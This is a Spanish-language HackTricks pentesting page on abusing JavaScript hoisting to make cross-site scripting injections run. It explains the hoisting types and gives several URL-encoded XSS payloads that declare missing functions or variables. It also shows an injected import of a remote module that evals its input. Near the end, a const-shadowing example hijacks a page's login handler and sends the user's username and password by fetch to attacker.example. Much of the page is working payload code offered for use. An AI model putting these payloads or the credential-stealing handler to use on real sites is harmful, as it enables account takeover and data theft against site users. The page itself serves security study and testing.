JS Hoisting
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Basic Information
En el lenguaje JavaScript existe un mecanismo conocido como Hoisting en el que las declaraciones de variables, funciones, clases o imports se elevan conceptualmente al inicio de su scope antes de que se ejecute el código. Este proceso lo realiza automáticamente el motor de JavaScript, que recorre el script en múltiples pasadas.
Durante la primera pasada, el engine parsea el código para comprobar errores de sintaxis y lo transforma en un árbol de sintaxis abstracta. Esta fase incluye el hoisting, un proceso en el que ciertas declaraciones se mueven al inicio del contexto de ejecución. Si la fase de parseo es exitosa, indicando que no hay errores de sintaxis, la ejecución del script continúa.
Es crucial entender que:
- El script debe estar libre de errores de sintaxis para que la ejecución ocurra. Las reglas de sintaxis deben cumplirse estrictamente.
- La colocación del código dentro del script afecta la ejecución debido al hoisting, aunque el código ejecutado pueda diferir de su representación textual.
Types of Hoisting
Según la información de MDN, hay cuatro tipos distintos de hoisting en JavaScript:
- Value Hoisting: Permite el uso del valor de una variable dentro de su scope antes de su línea de declaración.
- Declaration Hoisting: Permite referenciar una variable dentro de su scope antes de su declaración sin provocar un
ReferenceError, pero el valor de la variable seráundefined. - Este tipo altera el comportamiento dentro de su scope debido a que la declaración de la variable ocurre antes de su línea real de declaración.
- Los efectos secundarios de la declaración ocurren antes de que se evalúe el resto del código que la contiene.
En detalle, las declaraciones de función exhiben el comportamiento de hoisting tipo 1. La palabra clave var demuestra el comportamiento tipo 2. Las declaraciones léxicas, que incluyen let, const y class, muestran el comportamiento tipo 3. Por último, las sentencias import son únicas en que son hoisted con comportamientos tanto de tipo 1 como de tipo 4.
Scenarios
Por lo tanto, si tienes escenarios donde puedes injectar código JS después de que se use un objeto no declarado, podrías arreglar la sintaxis declarándolo (para que tu código se ejecute en lugar de lanzar un error):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Más escenarios
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()
Anticipa declaraciones posteriores bloqueando un nombre con const
Si puedes ejecutar antes de que se analice una function foo(){...} de nivel superior, declarar un enlace léxico con el mismo nombre (p. ej., const foo = ...) impedirá que la declaración de función posterior vuelva a enlazar ese identificador. Esto puede ser abusado en RXSS para secuestrar handlers críticos definidos más adelante en la página:
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
Notas
- Esto depende del orden de ejecución y del ámbito global (de nivel superior).
- Si tu payload se ejecuta dentro de
eval(), recuerda queconst/letdentro deevaltienen alcance de bloque y no crearán enlaces globales. Inyecta un nuevo elemento<script>con el código para establecer un verdaderoconstglobal.
Referencias
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

